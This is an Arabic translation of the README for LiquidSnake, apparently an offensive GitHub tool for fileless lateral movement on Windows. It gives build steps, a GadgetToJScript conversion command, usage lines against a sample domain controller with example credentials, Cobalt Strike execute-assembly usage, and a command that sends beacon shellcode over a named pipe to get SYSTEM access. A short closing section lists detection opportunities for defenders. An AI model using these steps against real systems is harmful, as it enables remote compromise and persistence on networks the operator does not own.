riccardoancarani/liquidsnakeأداة حركة جانبية بدون ملفات تستخدم اشتراكات أحداث WMI لتنفيذ تجميعات .NET في الذاكرة، مع حقن الشيلكود عبر الأنابيب المسماة لاختراق نظام ويندوز عن بُعد.
ليكويد سنيك هو برنامج يهدف إلى تنفيذ حركة جانبية ضد أنظمة ويندوز دون لمس القرص. تعتمد الأداة على اشتراك حدث WMI لتنفيذ تجميع .NET في الذاكرة، حيث يستمع تجميع .NET لشيلكود على أنبوب مسمى ثم ينفذه باستخدام صيغة من حقن الشيلكود عبر اختطاف الخيط.
المخطط أدناه يوضح (نأمل) تدفق البيانات:
يتكون المشروع من حلين منفصلين:
CSharpNamedPipeLoader - المكون الذي سيتم تحويله إلى VBS عبر GadgetToJScriptLiquidSnake - المكون المسؤول عن إنشاء اشتراك حدث WMI على النظام البعيدببساطة افتح كلا الحلين في فيجوال ستوديو وقم ببنائهما. تأكد من استهداف بنية x64 لـ CSharpNamedPipeLoader. إذا سارت الأمور على ما يرام، يجب أن تحصل على ملفين EXE منفصلين: CSharpNamedPipeLoader.exe و LiquidSnake.exe
باستخدام GadgetToJscript، قم بتحويل CSharpNamedPipeLoader.exe إلى VBS باستخدام الأمر التالي:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
اختبر إلغاء تسلسل .NET باستخدام cscript.exe وتأكد من أن كل شيء يعمل كما هو متوقع:
cscript.exe test.vbs
ثم، قم بترميز ملف vbs بـ base64 وألصقه في متغير vbscript64 في LiquidSnake's Program.cs في السطر 29.
لقد قمت بذلك بالفعل نيابة عنك، لذا يمكنك فقط تجميع حل LiquidSnake واستخدامه كما هو.
استخدام هذا المشروع بسيط، استخدم LiquidSnake.exe ضد مضيف لديك صلاحية إدارية عليه كما يلي:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
ملاحظة: يوجد حالياً خطأ عند تعيين بيانات اعتماد المستخدم صراحةً، لن تعمل الأداة في هذه الحالة. يوصى باستخدام make_token أو أي آلية انتحال شخصية أخرى بدلاً من ذلك.
إذا سارت الأمور على ما يرام، يجب أن تحصل على مخرجات مشابهة للتالي:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
المثال أعلاه يستخدم execute-assembly من CobaltStrike لإطلاق LiquidSnake:
في الوقت نفسه، سيتم إنشاء أنبوب مسمى جديد على المضيف البعيد بالاسم التالي:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7
ثم، باستخدام مشروعي send_shellcode_via_pipe من BOFs يمكنك إرسال شيلكود مخصص على الأنبوب البعيد الذي سيتم تحميله وتنفيذه:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin
إذا عمل كل شيء كما هو متوقع، يجب أن تحصل على بيكون SYSTEM:
ملاحظة: إصدار LiquidSnake الحالي يحتوي على أثر تم إنشاؤه بواسطة GadgetToJScript الذي يستهدف .NET الإصدار 4.x. إذا كان المضيف المستهدف يحتوي فقط على 3.5، فسيفشل ذلك. ما عليك سوى تكرار نفس العملية ولكن باستخدام إصدار .NET المناسب عند بناء GadgetToJScript.
هناك العديد من فرص الكشف لتحديد إساءة استخدام هذه الأداة وبشكل عام استخدام هذه التقنية:
clr.dll المتعلقة بعملية scrcons.exescrcons.exeبالإضافة إلى ذلك، فإن أكبر عيب في هذا التنفيذ المحدد هو أن الشيلكود يُرسل بنص واضح عبر SMB. بمعنى أنه إذا كان حل مراقبة الشبكة قادرًا على فحص هذا المرور، فمن المحتمل أن يبرز. لم أختبر كثيرًا مقابل مجموعة قواعد zeek/bro ولكني واثق جدًا من أنه سيتم التقاطه فورًا.
في مجلد detection-artefacts تركت ملف PCAP من التقاط Wireshark وأحداث Sysmon التي تم إنشاؤها أثناء الهجوم (باستخدام التكوين الافتراضي لـ Swift On Security).